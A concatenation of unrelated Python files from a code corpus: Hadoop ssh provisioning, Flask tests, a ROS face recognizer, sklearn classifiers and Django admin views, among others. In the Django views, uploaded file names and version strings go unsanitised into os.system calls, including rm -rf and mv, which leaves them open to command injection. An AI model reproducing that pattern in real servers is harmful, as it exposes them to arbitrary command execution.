os.system("ssh root@{} sudo hadoop namenode -format".format(Namenode_IP))
#start namenode
os.system("sleep 2")
os.system("ssh root@{} sudo hadoop-daemon.sh start namenode".format(Namenode_IP))
Datanode_IP = []
count_datanode = int(input("\t\t\t\t\t\tHow many datanode you want to configure: "))
for i in range(0,count_datanode):
d_ip = input("\t\t\t\t\t\tGive IP at which you want to configure datanode{}:".format(i+1))
Datanode_IP.append(d_ip)
print("Downloading and Configuring Hadoop and JAVA")
os.system("scp down.sh root@{}:/root/".format(Datanode_IP[i]))
os.system("ssh root@{} sudo chmod +x down.sh ".format(Datanode_IP[i]))
os.system("ssh root@{} sudo sh down.sh".format(Datanode_IP[i]))
os.system("scp dataNode.py root@{}:/root/".format(Datanode_IP[i]))
os.system("sleep 2")
os.system("ssh root@{} sudo yum install python3 -y".format(Datanode_IP[i]))
os.system("sleep 2")
#setup datanode core-site.xml and hdfs-site.xml
os.system("ssh root@{} sudo python3 dataNode.py".format(Datanode_IP[i]))
os.system("sleep 2")
#start datanode
os.system("ssh root@{} sudo hadoop-daemon.sh start datanode".format(Datanode_IP[i]))
Client_IP = []
count_client = int(input("\t\t\t\t\t\tHow many client you want to configure: "))
for i in range(0,count_client):
c_ip = input("\t\t\t\t\t\tGive IP at which you want to configure client: ")
Client_IP.append(c_ip)
print("Downloading and Configuring Hadoop and JAVA")
os.system("scp down.sh root@{}:/root/".format(Client_IP[i]))
os.system("ssh root@{} sudo chmod +x down.sh ".format(Client_IP[i]))
os.system("ssh root@{} sudo sh down.sh".format(Client_IP[i]))
os.system("sleep 2")
os.system("scp client.py root@{}:/root/".format(Client_IP[i]))
os.system("sleep 2")
os.system("ssh root@{} sudo yum install python3 -y".format(Client_IP[i]))
os.system("sleep 2")
#setup datanode core-site.xml and hdfs-site.xml
os.system("sleep 2")
os.system("ssh root@{} sudo python3 client.py".format(Client_IP[i])) |
18,218 | f7279a1cde6689822bd01c479f27d959922a03ee | from pizza_parlour import app
def test_pizza():
"""Test index page routing"""
response = app.test_client().get('/')
assert response.status_code == 200
assert response.data == b'Welcome to the Pizza Parlour'
def test_menu():
"""Test full menu GET request"""
response = app.test_client().get('/v1/resources/menu/all')
assert response.status_code == 200
assert response.content_type == 'application/json'
def test_item():
"""Test specific item GET request"""
# 404 reponses
response = app.test_client().get('/v1/resources/menu?')
assert response.status_code == 404
response = app.test_client().get('/v1/resources/menu?itype=pizza')
assert response.status_code == 404
response = app.test_client().get('/v1/resources/menu?itype=pizza&item=pepperoni')
assert response.status_code == 404
response = app.test_client().get('/v1/resources/menu?item=pepperoni')
assert response.status_code == 404
# 204 responses
response = app.test_client().get('/v1/resources/menu?item=p&itype=pizza&size=small')
assert response.status_code == 204
response = app.test_client().get('/v1/resources/menu?item=pepperoni&itype=p&size=small')
assert response.status_code == 204
response = app.test_client().get('/v1/resources/menu?item=pepperoni&itype=pizza&size=s')
assert response.status_code == 204
response = app.test_client().get('/v1/resources/menu?itype=topping&item=b')
assert response.status_code == 204
# 200 responses
response = app.test_client().get('/v1/resources/menu?itype=topping&item=beef')
assert response.status_code == 200
assert response.content_type == 'application/json'
assert isinstance((response.json)['price'], int)
response = app.test_client().get('/v1/resources/menu?itype=pizza&item=pepperoni&size=small')
assert response.status_code == 200
assert response.content_type == 'application/json'
assert isinstance((response.json)['price'], int)
def test_crud():
## Create order ##
# 200 response
order = {
"pizzas": [
{"type": "pepperoni", "size": "small", "toppings": "mushrooms"}
],
"drinks": [
{"type": "coke", "size": "medium"}
]
}
response = app.test_client().post('/v1/orders', json=order)
assert response.status_code == 200
assert isinstance((response.json)['order_number'], int)
# 400 responses
order = {
"pizzas": [
{"size": "small", "toppings": "mushrooms"}
],
"drinks": [
{"type": "coke", "size": "medium"}
]
}
response = app.test_client().post('/v1/orders', json=order)
assert response.status_code == 400
response = app.test_client().post('/v1/orders')
assert response.status_code == 400
# 204 responses
order = {
"pizzas": [
{"type": "pepperon", "size": "small", "toppings": "mushrooms"}
],
"drinks": [
{"type": "coke", "size": "medium"}
]
}
response = app.test_client().post('/v1/orders', json=order)
assert response.status_code == 204
## Read order ##
# 200 response
response = app.test_client().get('/v1/orders/1')
assert response.status_code == 200
## Update order ##
# 200 response
order = {
"pizzas": [
{"type": "pepperoni", "size": "medium", "toppings": "mushrooms"}
],
"drinks": []
}
response = app.test_client().put('/v1/orders/1', json=order)
assert response.status_code == 200
# 204 response
order = {
"pizzas": [
{"type": "pepperon", "size": "medium", "toppings": "mushrooms"}
],
"drinks": []
}
response = app.test_client().put('/v1/orders/1', json=order)
assert response.status_code == 204
## Delivery ##
# 200 response
delivery_info = {
"order_number": 1,
"address": "1001 bay",
"details": "no green onions",
"delivery_number": "inhouse2"
}
response = app.test_client().post('/v1/orders/inhouse', json=delivery_info)
assert response.status_code == 200
delivery_info = {
"order_number": 1,
"address": "1001 bay",
"details": "no green onions",
"delivery_number": "ubereats14"
}
response = app.test_client().post('/v1/orders/ubereats', json=delivery_info)
assert response.status_code == 200
delivery_info = "order_number,address,details,delivery_number\n1,1001 bay,no green onions,foodora13"
response = app.test_client().post('/v1/orders/foodora', data=delivery_info)
assert response.status_code == 200
# 204 responses
delivery_info = {
"order_number": 2,
"address": "1001 bay",
"details": "no green onions",
"delivery_number": "ubereats14"
}
response = app.test_client().post('/v1/orders/ubereats', json=delivery_info)
assert response.status_code == 204
response = app.test_client().post('/v1/orders/inhouse', json=delivery_info)
assert response.status_code == 204
delivery_info = "order_number,address,details,delivery_number\n2,1001 bay,no green onions,foodora13"
response = app.test_client().post('/v1/orders/foodora', data=delivery_info)
assert response.status_code == 204
# 400 responses
delivery_info = {
"order_numbe": 2,
"address": "1001 bay",
"details": "no green onions",
"delivery_number": "ubereats14"
}
response = app.test_client().post('/v1/orders/ubereats', json=delivery_info)
assert response.status_code == 400
response = app.test_client().post('/v1/orders/inhouse', json=delivery_info)
assert response.status_code == 400
## Delete order ##
response = app.test_client().delete('/v1/orders/1')
assert response.status_code == 200
response = app.test_client().delete('/v1/orders/1')
assert response.status_code == 204 |
18,219 | 06c356faab33c38eb680d44cfa13b57dc0eed90c | from enum import Enum
class ActivationLiterals(Enum):
RELU = "relu"
SOFTMAX = "softmax"
|
18,220 | 8d950c02eae7a319210a8ed48b4f4b93da83886d | import hashlib, sys, glob, argparse
import os
def read_txt(fname):
f = open(fname, 'r')
content = f.readlines()
print(content)
return content
def sha1(fname):
sha1hash = hashlib.sha1()
with open(fname,errors='ignore') as handle: #opening the file one line at a time for memory considerations
for line in handle:
sha1hash.update(line.encode('utf-8'))
return(sha1hash.hexdigest())
def look_files(path):
list_files = glob.glob(path+"\*")
return list_files
|
18,221 | 6ac9c3132c2129080359d19d3adb5f4a9cc87c43 | def insertionsort(A):
for i in range(1,len(A)):
key = A[i]
j = i - 1
while j >= 0 and A[j] > key :
A[j+1] = A[j]
j = j - 1
A[j+1] = key
A = [ 23, 24, 52, 69, 1, 193, 34, 95, 3, 910 ]
insertionsort(A)
for i in range(0,len(A)):
print(A[i])
|
18,222 | ecfe6c15f81eb4cdffc061d91359e75aac8b7672 | #!/usr/bin/env python
#-*- coding: utf-8 -*-
import cv2
import sys
import gc
from face_keras import Model
import roslib
import rospy
from std_msgs.msg import String
from std_msgs.msg import Int8
from sensor_msgs.msg import Image, CameraInfo
from cv_bridge import CvBridge, CvBridgeError
import numpy as np
SENSOR_TOPIC = '/camera/rgb/image_raw'
#人脸识别分类器本地存储路径
cascade_path = "/home/kamerider/catkin_ws/src/machine_vision/haarcascade_frontalface_alt.xml"
#框住人脸的矩形边框颜色
color = (0, 255, 0)
test = cv2.imread('/home/kamerider/catkin_ws/src/machine_vision/DataBase/HOST/1.jpg')
#加载模型
model = Model()
model.load_model()
y = model.face_predict(test)
#加载cv_bridge
bridge=CvBridge()
def predict(frame):
#循环检测识别人脸
while True:
#图像灰化，降低计算复杂度
frame_gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
#使用人脸识别分类器，读入分类器
cascade = cv2.CascadeClassifier(cascade_path)
#利用分类器识别出哪个区域为人脸
faceRects = cascade.detectMultiScale(frame_gray, scaleFactor = 1.1, minNeighbors = 3, minSize = (32, 32))
print type(frame)
count1=0
if len(faceRects) > 0:
for faceRect in faceRects:
x, y, w, h = faceRect
#截取脸部图像提交给模型识别这是谁
image = frame[y - 20: y + h + 20, x - 20: x + w + 20]
cv2.imshow('predict',image)
faceID = model.face_predict(image)
#如果是“我”
if faceID == 0:
cv2.rectangle(frame, (x - 10, y - 10), (x + w + 10, y + h + 10), color, thickness = 2)
print faceID
#文字提示是谁
cv2.putText(frame,'TOM',
(x + 30, y + 30), #坐标
cv2.FONT_HERSHEY_SIMPLEX, #字体
1, #字号
(255,0,255), #颜色
2) #字的线宽
if count1 == 0:
count1=1
cv2.imwrite('/home/kamerider/catkin_ws/test.jpg',frame)
if faceID == 1:
cv2.rectangle(frame, (x - 10, y - 10), (x + w + 10, y + h + 10), color, thickness = 2)
cv2.putText(frame,'HOST',
(x + 30, y + 30), #坐标
cv2.FONT_HERSHEY_SIMPLEX, #字体
1, #字号
(255,0,255), #颜色
2) #字的线宽
else:
pass
cv2.imshow("test", frame)
#等待10毫秒看是否有按键输入
k = cv2.waitKey(10)
#如果输入q则退出循环
if k & 0xFF == ord('q'):
break
#释放摄像头并销毁所有窗口
cap.release()
cv2.destroyAllWindows()
def imageCallback(msg):
try:
frame = bridge.imgmsg_to_cv2(msg, "bgr8")
except CvBridgeError, e:
print e
# Convert the image to a Numpy array since most cv2 functions
# require Numpy arrays.
frame = np.array(frame, dtype=np.uint8)
predict(frame)
if __name__ == '__main__':
rospy.init_node('test')
print '----------INIT----------'
img_sub = rospy.Subscriber("/camera/rgb/image_raw",Image,imageCallback)
#捕获指定摄像头的实时视频流
#cap = cv2.VideoCapture(int(sys.argv[1]))
rospy.spin()
|
18,223 | 89633181aae851be7ca96f5b358187f240a122ea | #!/usr/bin/env python3
from collections import defaultdict
Killer = {'R':'P', 'P':'S', 'S':'R'}
def robot(C):
P = []
while len(P)<500:
D = defaultdict(list)
for s in C:
D[s[len(P)%len(s)]].append(s)
if len(D)==3:
break
elif len(D)==1:
U, = iter(D)
P.append(Killer[U])
return ''.join(P)
else:
U,V = iter(D.keys())
if Killer[U]==V:
U,V = V,U
P.append(U)
C = D[U]
return 'IMPOSSIBLE'
if __name__=='__main__':
T = int(input())
for t in range(1,T+1):
A = int(input())
C = [input() for _ in range(A)]
print('Case #%d: %s' % (t, robot(C)))
|
18,224 | 172b32a15187a61884a3b842475c2acea8547a45 | from django.conf.urls.defaults import patterns, url
from basics.pages.views import PageDetailView
urlpatterns = patterns('',
url(r'^(?P<path>.*),(?P<pk>\d+)$', PageDetailView.as_view(), {}, 'page_detail'),
)
|
18,225 | d5baf2594e0d39845d5c37e7598b3d38cb31349d | '''
replace = [1.0] * 3
sum = []
'''
'''
with open('data/test.txt', 'r') as f:
for temp in f.readlines():
temp1 = temp.split('\t')
temp1.extend(replace)
temp1 = list(map(float, temp1))
sum.append(temp1)
print(sum)
'''
'''
pin
def train_batch_x(f, num):
sum = []
for i in range(num):
temp = f.readline()
temp1 = temp.split('\t')
temp1 = list(map(float, temp1))
sum.append(temp1)
pin = fd.tell()
return sum
with open('data/test.txt', 'r') as f:
text = []
for i in range(3):
batch_size = 1
x = train_batch_x(f, batch_size)
text.append(x)
print(text)
'''
text = []
def test_read():
file = 'data/test.txt'
with open(file, 'r') as fd: # 获得一个句柄
fd.seek(label, 0)
for i in range(2): # 读取三行数据
text.append(fd.readline())
label = fd.tell()
print(label)
print(text)
'''
# 再次阅读文件
with open(file, 'r') as f: # 获得一个句柄
f.seek(label, 0) # 把文件读取指针移动到之前记录的位置
text2 = f.readline()
print(text2) # 接着上次的位置继续向下读取
'''
|
18,226 | 548d06bbfe6d07a6b36c5e8f7790c097e2c51f0e | """Setup."""
# -*- coding: utf-8 -*-
# @Author: AnthonyKenny98
# @Date: 2019-11-09 17:45:01
# @Last Modified by: AnthonyKenny98
# @Last Modified time: 2019-11-16 14:57:07
from src.groupme.groupme import setup_bot
import random
options = {
"0": "GroupMe"
}
# Get Heroku App Name
appName = input("Please enter your Heroku App Name: ")
# Get Config Filename
configFile = input(
"Please enter your configuration filename (without '.config' suffix): ")
print("\n\nApplications\n==========")
for key, val in options.items():
print(key + ' : ' + val)
print("\n")
service = None
while (service not in options):
service = input("Please input your Application option number: ")
service = options[service]
# Construct CallBack URL
callback_url = 'https://{}.herokuapp.com/{}/{}/{}'.format(
appName,
service.lower(),
configFile,
str(random.randint(0, 1000000)))
if service == 'GroupMe':
setup_bot(callback_url)
|
18,227 | 489cb8f54ced229899c3566742bde129cdb95494 |
# coding: utf-8
# # Hand Shape Classification
# ## Imports
# In[17]:
#get_ipython().run_line_magic('matplotlib', 'inline')
def classify(keyword2int):
import numpy as np
import matplotlib.pyplot as plt
import scipy.misc
from PIL import Image
import pprint
pp = pprint.PrettyPrinter(indent = 4)
# In[18]:
import sklearn
from sklearn import datasets
import skimage.io
# ## Datasets preparation
# In[19]:
def png2vec(filename):
img = Image.open(filename).convert('L')
arr = np.array(img)
return arr
# In[20]:
filesetNames = ["%01d" %x for x in range(0,2)]
# In[21]:
import os
images = []
tgt = []
count = 0
img_test = Image.open("./img/0/1.jpg")
for curFileset in filesetNames:
curPath = "./img/"+ curFileset + "/"
for file in os.listdir(curPath):
curImageVector = png2vec(curPath + file)
images.append(curImageVector)
tgt.append(curFileset)
count += 1
#end
print (len(images))
# In[22]:
'''
import random
index = random.randint(0,count - 1)
random_raw_image = images[index]
random_im = Image.fromarray(random_raw_image)
title = "No."+ "%04d"%index + " Tag:" + tgt[index]
plt.title(title)
plt.imshow(random_im)
# In[23]:
random_raw_image.flatten()
'''
# In[24]:
from sklearn.model_selection import train_test_split
from sklearn import model_selection, metrics
images_np = np.array(images)
img = images_np.reshape(images_np.shape[0],-1)
xM, xT, yM, yT = train_test_split(img, tgt, test_size = 0.01)
print(yT)
xT = list(xT)
#map(list,xT)
xT.extend(xM[0:20])
yT.extend(yM[0:20])
print(yT)
xT = np.array(xT)
print(yT)
# # Naive Bayes
# In[25]:
# 要传参！！！ from search keyword2int
# 要传参！！！ from search keyword2int
#keyword2int = {'dog':0,'cat':1}
from sklearn import metrics
from sklearn import naive_bayes
cls = naive_bayes.GaussianNB()
cls.fit(xM, yM)
res = cls.predict(xT)
print(type(xT[0:1]))
print(len(xT),len(xT[0]),'result',type(xT))
print(res)
print(metrics.confusion_matrix(yT, res),metrics.accuracy_score(yT, res),"GaussianNB")
#plt.title('这个图片是'+str(list(keyword2int.keys())[0])+'预测结果是'+ str(list(keyword2int.keys())[int(res_test[0])]))
#plt.imshow(img_test)
#plt.show()
# In[26]:
cls = naive_bayes.BernoulliNB(binarize = 0.9)
cls.fit(xM, yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT, res),metrics.accuracy_score(yT, res),"BernoulliNB")
# In[27]:
cls = naive_bayes.MultinomialNB(alpha=0.1, fit_prior=True, class_prior=None)
cls.fit(xM, yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT, res),metrics.accuracy_score(yT, res),"naive_bayes.MultinomialNB")
# # KNN
# In[28]:
from sklearn.neighbors import KNeighborsClassifier
cls = KNeighborsClassifier(n_neighbors=7)
cls.fit(xM, yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT, res),metrics.accuracy_score(yT, res),' knn')
'''
# ## KNN Parameters
# In[30]:
scoreListUniform = []
nListUniform = []
stepCount = 10
start = 1
end = 10
for curN in range(start,end):
cls = KNeighborsClassifier(n_neighbors=curN,weights = 'uniform')
cls.fit(xM, yM)
res = cls.predict(xT)
curScore = metrics.accuracy_score(yT, res)
nListUniform.append(curN)
scoreListUniform.append(curScore)
scoreListUniform
# In[75]:
scoreListDistance = []
nListDistance = []
for curN in range(start,end):
cls = KNeighborsClassifier(n_neighbors = curN,weights = 'distance')
cls.fit(xM, yM)
res = cls.predict(xT)
curScore = metrics.accuracy_score(yT, res)
nListDistance.append(curN)
scoreListDistance.append(curScore)
scoreListDistance
# ## Plot
# In[ ]:
x = range(start,end)
plt.figure(figsize = (8,4))
plt.plot(x,scoreListUniform,"r-",label = "Uniform Weights",linewidth = 1)
plt.plot(x,scoreListDistance,"b-",label = "Weights by Distance",linewidth = 1)
plt.xlabel("Neighbours")
plt.ylabel("Score")
plt.title("KNN Parameters Scores")
plt.legend()
plt.savefig("KnnParameters.png")
plt.show()
# ## KNN Parameters: weights
# In[ ]:
scoreList = []
nList = []
stepCount = 10
start = 1
end = 10
cls = KNeighborsClassifier(weights = 'uniform')
cls.fit(xM, yM)
res = cls.predict(xT)
curScore = metrics.accuracy_score(yT, res)
nList.append('uniform')
scoreList.append(curScore)
cls = KNeighborsClassifier(weights = 'distance')
cls.fit(xM, yM)
res = cls.predict(xT)
curScore = metrics.accuracy_score(yT, res)
nList.append('distance')
scoreList.append(curScore)
'''
# # Decision Tree
# In[33]:
from sklearn import tree
cls = tree.DecisionTreeClassifier()
cls = cls.fit(xM,yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT,res), metrics.accuracy_score(yT,res),"Decision Tree")
import random
index = random.randint(0, 10)
x_test = xT[index]
y_tag = yT[index]
DT_res = cls.predict([x_test])
x_test_image_list = list(x_test)
x_temp = []
x_image = []
for j in range(100):
for i in range(100):
x_temp.append(x_test[i+j*100])
x_image.append(x_temp)
x_temp = []
np.array(x_image)
plt.title('the image is '+str(list(keyword2int.keys())[int(y_tag)])+' res is '+ str(list(keyword2int.keys())[int(DT_res[0])]))
print(DT_res)
print(list(keyword2int.keys())[int(y_tag)],list(keyword2int.keys())[int(DT_res[0])])
plt.imshow(x_image)
plt.show()
import sys
sys.exit()
# In[40]:
from sklearn.tree import DecisionTreeClassifier
tree = DecisionTreeClassifier(random_state=0, min_samples_split=2)
tree.fit(xT,yT)
print(tree.score(xT, yT),tree.score(xM, yM),"DecisionTreeClassifier")
# In[37]:
DecisionTreeClassifier()
# # random forest
# In[56]:
from sklearn.ensemble import RandomForestClassifier
forest = RandomForestClassifier(n_estimators=150, random_state=0)
forest.fit(xT, yT)
forest.score(xT, yT),forest.score(xM, yM)
# In[44]:
forest
# In[74]:
scoreListUniform = []
nListUniform = []
stepCount = 10
stepDist = 200
start = 200
end = 2001
for curCount in range(start,end,stepDist):
forest = RandomForestClassifier(n_estimators = curCount, random_state=0)
forest.fit(xT, yT)
nListUniform.append(curCount)
scoreListUniform.append(forest.score(xM, yM))
scoreListUniform
# In[94]:
# ### Gini Random
# ### Entropy Best
# ### Entropy Random
# ## SVM
# In[76]:
'''
'''
from sklearn import svm
cls = svm.SVC()
cls = cls.fit(xM,yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT,res), metrics.accuracy_score(yT,res), " svm")
# In[77]:
'''
cls = svm.LinearSVC (multi_class="crammer_singer")
cls = cls.fit(xM,yM)
res = cls.predict(xT)
print(metrics.confusion_matrix(yT,res), metrics.accuracy_score(yT,res),' svc')
# In[92]:
clsList = []
stepCount = 10
start = 0.0
end = 1.0
# ### Parameter C
# In[93]:
stepLength = (end - start)/stepCount
for i in range(1, stepCount):
cur = start + (i * stepLength)
cls = svm.SVC(C = cur)
cls = cls.fit(xM,yM)
res = cls.predict(xT)
clsList.append(metrics.accuracy_score(yT,res))
clsList
# In[95]:
plt.plot(x,clsList,"r-",label = "Parameter C",linewidth = 1)
plt.xlabel("Parameter C")
plt.ylabel("percentage")
plt.title("SVM ParametersC Scores")
plt.legend()
plt.savefig("SVMParameters.png")
plt.show()
'''
keyword2int = {'pine tree': 0, 'maple leaves': 1, 'sakura blossom': 2}
classify(keyword2int) |
18,228 | d29c848f6d4b7e4ef9b8d03548d79c82794370e2 | # -*- coding: utf-8 -*-
from django.conf.urls import patterns, url
from django.views.decorators.csrf import csrf_exempt
from .views import (VideoTranscodeWebhookView,
S3SignatureEndpoint,
VideoFeedItemForm,)
urlpatterns = patterns('',
url(r'^webhook/(?P<pk>[\d-]+)/$', csrf_exempt(VideoTranscodeWebhookView.as_view()), name='webhook_heywatch'),
url(r'^sign/s3/$', S3SignatureEndpoint.as_view(), name='s3signature'),
url(r'^(?P<project_slug>[\w-]+)/video/((?P<slug>[\w-]+)/)?$', VideoFeedItemForm.as_view(), name='create_video_feeditem'),
)
|
18,229 | c58d3d5b7a956ce667fed460a846b893a5fe0f37 | import os
from PIL import Image
import numpy
from math import trunc
def splitimage(src, rowrate, dstpath):
img = Image.open(src)
w, h = img.size
print('Original image info: %sx%s, %s, %s' % (w, h, img.format, img.mode))
s = os.path.split(src)
if dstpath == '':
dstpath = s[0]
fn = s[1].split('.')
basename = fn[0]
ext = fn[-1]
num = 0
#rowheight = h // rownum
colwidth = w
for i in range(len(rowrate)-1):
box = (0, rowrate[i] * h, colwidth, rowrate[i + 1] * h)
img.crop(box).save(os.path.join(dstpath, basename + '_' + str(num) + '.' + ext), ext)
num = num + 1
def analyzeSheetMusic(src):
img = Image.open(src)
grayImg = img.convert('L')
matrix = numpy.asarray(grayImg)
h,w = matrix.shape
whiteSum = 0
ratio=[0]
for i in range(h):
for j in range(w):
if(matrix[i,j]==255):
whiteSum+=1
if (whiteSum==w):
ratioFound = (i+0.0)/h
if(ratioFound<0.1):
continue
if(ratioFound<ratio[len(ratio)-1]+0.1):
continue
ratio.append(ratioFound)
whiteSum=0
ratio.append(1)
return ratio
src = '0.png'
if os.path.isfile(src):
dstpath = ''
if (dstpath == '') or os.path.exists(dstpath):
rowlist = analyzeSheetMusic(src)
splitimage(src, rowlist, dstpath)
else:
print('notexist')
|
18,230 | f04ec2e392790e559d4b6849a6cc0077806690d0 | from django.shortcuts import HttpResponse
from django.shortcuts import render
from django.core.cache import cache
import os
import json
from config.models import Pattern, Plat, RunCompany, AddVersion
# http://127.0.0.1:8000
# 模式配置
from server_list.models import InsType
def config_pattern(request):
# 查询模式，数据类型为列表
pattern = [x[0] for x in Pattern.objects.values_list('pattern')]
title = ['pattern_name']
# 发送给前端表格的数据
fina = []
# 模式名称
for p in pattern:
pattern_server = [p]
temp = dict(zip(title, pattern_server))
fina.append(temp)
return render(request, 'config_pattern.html', {'data': json.dumps(fina)})
def get_pattern_name(request):
pattern_name = request.POST['pattern_name']
cache.set('pattern_name', pattern_name)
return HttpResponse(json.dumps('bingo'))
# 编辑页面下确认后更新数据库
def confirm_edit(request):
try:
pattern_name = cache.get('pattern_name')
select_ins_type = request.POST['select_ins_type']
info = Pattern.objects.get(pattern=pattern_name)
# 如果编辑没有改变原来的值，则默认使用原来的值
pattern = request.POST['pattern']
if pattern == '':
pattern = info.pattern
player = request.POST['player']
if player == '':
player = info.player_num
cpu = request.POST['cpu']
if cpu == '':
cpu = info.cpu_num
memory = request.POST['memory']
if memory == '':
memory = info.memory_num
disk = request.POST['disk']
if disk == '':
disk = info.disk_num
flow = request.POST['flow']
if flow == '':
flow = info.flow_num
pay_type = request.POST['pay_type']
# 更新数据库
Pattern.objects.filter(pattern=pattern_name).update(ins_type=select_ins_type, pattern=pattern,
player_num=player, cpu_num=cpu, memory_num=memory,
disk_num=disk, flow_num=flow, pay_type=pay_type)
return HttpResponse('修改成功')
except Exception as e:
print(e)
return HttpResponse('请检查模式名称是否已经存在')
# 模式编辑
def config_pattern_edit(request):
pattern_name = cache.get('pattern_name')
# 该模式的信息
info = Pattern.objects.get(pattern=pattern_name)
# 所有实例类型
all_ins_type = [x[0] for x in InsType.objects.values_list('ins_type').distinct()]
return render(request, 'config_pattern_edit.html', {'all_ins_type': all_ins_type,
'ins_type': info.ins_type,
'pay_type': info.pay_type,
'pattern_name': info.pattern,
'player_num': info.player_num,
'cpu_num': info.cpu_num,
'memory_num': info.memory_num,
'disk_num': info.disk_num,
'flow_num': info.flow_num})
# 删除模式
def pattern_delete(request):
name = request.POST['pattern_name']
Pattern.objects.filter(pattern=name).delete()
return HttpResponse(json.dumps("bingo"))
# 模式添加
def config_add_pattern(request):
# 获取现有实例所有的实例类型。在定时更新的zero_ins_type表中获取
ins_type = [x[0] for x in InsType.objects.values_list('ins_type').distinct()]
# 返回给前端页面以供添加模式时选择。
return render(request, 'config_add_pattern.html', {'ins_type': ins_type})
# 模式添加存库
def config_add_pattern_confirm(request):
try:
instype = request.POST['ins_type']
paytype = request.POST['pay_type']
pattern_name = request.POST['pattern_name']
player = request.POST['player']
cpu = request.POST['cpu']
memory = request.POST['memory']
disk = request.POST['disk']
flow = request.POST['flow']
patt = Pattern(ins_type=instype, pay_type=paytype, pattern=pattern_name, player_num=player, cpu_num=cpu,
memory_num=memory, disk_num=disk, flow_num=flow)
# 强制插入模式，防止添加模式的时候，模式名称重复
patt.save(force_insert=True)
return HttpResponse('bingo')
except Exception as e:
print(e)
return HttpResponse('error')
# 版本编辑页面下确认后更新数据库
def version_confirm_edit(request):
version_name = cache.get('version_name')
info = AddVersion.objects.get(version=version_name)
# 如果编辑没有改变原来的值，则默认使用原来的值
version = request.POST['version']
if version == '':
version = info.version
# 一个版本可以多个平台
plat = request.POST['plat'].replace('[', '').replace(']', '').replace('"', '')
try:
# 编辑后更新数据库,这里会修改主键，所以只能用update方法，不能拿出主键的值在保存，因为取出之后表中就没有该数据了，只能create
AddVersion.objects.filter(version=version_name).update(version=version, plat=plat)
return HttpResponse('修改成功')
except Exception as e:
print(e)
return HttpResponse('请检查版本名称是否已经存在')
# 版本配置
def config_version(request):
version = AddVersion.objects.values_list('version')
title = ['version_name']
# 发送给前端表格的数据
fina = []
# 模式名称
for v in version:
version_server = [v[0]]
temp = dict(zip(title, version_server))
fina.append(temp)
return render(request, 'config_version.html', {'data': json.dumps(fina)})
def get_version_name(request):
version_name = request.POST['version_name']
cache.set('version_name', version_name)
return HttpResponse(json.dumps('bingo'))
# 版本编辑
def config_version_edit(request):
version_name = cache.get('version_name')
# 该版本的信息
info = AddVersion.objects.get(version=version_name).version
# 可以选择的平台，数据类型为列表
plat = [x[0] for x in Plat.objects.values_list('plat')]
return render(request, 'config_version_edit.html', {'version': info, 'plat': plat})
# 版本添加
def config_add_version(request):
plat = [x[0] for x in Plat.objects.values_list('plat')]
return render(request, 'config_add_version.html', {'plat': plat})
# 上传文件
def upload(request):
file_obj = request.FILES.get('file_obj')
filename = '/home/server/' + file_obj.name
with open(filename, 'wb') as f:
for chunk in file_obj.chunks():
f.write(chunk)
return HttpResponse('传输完成')
# 版本添加库
def config_add_version_confirm(request):
version = request.POST['version']
plat = request.POST['plat']
file_obj = request.FILES.get('file_obj')
filename = file_obj.name
# 文件名有括号时，
filename = filename.replace('(', '\(').replace(')', '\)')
try:
# 解压文件
cmd = "cd /home/server; 7z x %s" % filename
# print(cmd)
if os.system(cmd) != 0:
return HttpResponse('服务器文件未能解压，请检查文件名')
# 删除压缩文件
rmcmd = "rm -rf /home/server/%s" % filename
if os.system(rmcmd) != 0:
return HttpResponse('服务器压缩文件未能删除，请检查文件名')
# 获得解压之后的文件名
filename = filename.replace('.7z', '')
# 文件名更改为版本名
change_name = "mv /home/server/%s /home/server/%s" % (filename, version)
if os.system(change_name) != 0:
return HttpResponse('文件名未更改成功,请检查版本文件名是否重复')
# 将启动服务器命令脚本拷贝至文件内
cmd_start = "cp /home/server/start.sh /home/server/%s" % version
if os.system(cmd_start) != 0:
return HttpResponse('启动服务器脚本未能拷贝至服务器文件内')
# 更改文件名，和版本名一致
# rename_cmd = "mv /home/server/%s /home/server/%s" % (filename, version)
# if os.system(rename_cmd) != 0:
# return HttpResponse('文件名未能更改成版本名，垃圾！')
# 添加版本
add_version = AddVersion(version=version, plat=plat)
add_version.save(force_insert=True)
return HttpResponse('服务器文件解压完毕，可以进行后续操作')
except Exception as e:
print(e)
return HttpResponse('请检查服务器文件名是否重复')
# 删除版本
def version_delete(request):
name = request.POST['version_name']
AddVersion.objects.filter(version=name).delete()
return HttpResponse(json.dumps("bingo"))
# 运营商配置
def config_run_company(request):
run_company = [x[0] for x in RunCompany.objects.all().values_list('run_company_name')]
title = ['run_company_name']
# 发送给前端表格的数据
fina = []
# 模式名称
for run in run_company:
run_company_server = [run]
temp = dict(zip(title, run_company_server))
fina.append(temp)
return render(request, 'config_run_company.html', {'data': json.dumps(fina)})
def get_run_company_name(request):
run_company_name = request.POST['run_company_name']
cache.set('run_company_name', run_company_name)
return HttpResponse(json.dumps('bingo'))
# 运营商编辑
def config_run_company_edit(request):
run_company_name = cache.get('run_company_name')
# 该模式的信息
info = RunCompany.objects.get(run_company_name=run_company_name).run_company_name
return render(request, 'config_run_company_edit.html', {'run_company': info})
# 运营商编辑页面下确认后更新数据库
def run_company_confirm_edit(request):
run_company_name = cache.get('run_company_name')
info = RunCompany.objects.get(run_company_name=run_company_name).run_company_name
# 如果编辑没有改变原来的值，则默认使用原来的值
run_company = request.POST['run_company']
if run_company == '':
run_company = info
try:
RunCompany.objects.filter(run_company_name=run_company_name).update(run_company_name=run_company)
return HttpResponse('修改成功')
except Exception as e:
print(e)
return HttpResponse('请检查运营商名称是否已经存在')
# 删除运营商
def run_company_delete(request):
name = request.POST['run_company_name']
RunCompany.objects.filter(run_company_name=name).delete()
return HttpResponse(json.dumps("bingo"))
# 运营商添加
def config_add_run_company(request):
return render(request, 'config_add_run_company.html')
# 运营商添加入库
def config_add_run_company_confirm(request):
name = request.POST['name']
try:
rc = RunCompany(run_company_name=name)
rc.save(force_insert=True)
return HttpResponse('添加成功')
except Exception as e:
print(e)
return HttpResponse('运营商已经存在')
# 平台配置
def config_plat(request):
# 查询平台，结果类型为列表
plat = [x[0] for x in Plat.objects.all().values_list('plat')]
title = ['plat_name']
# 发送给前端表格的数据
fina = []
# 模式名称
for p in plat:
plat_server = [p]
temp = dict(zip(title, plat_server))
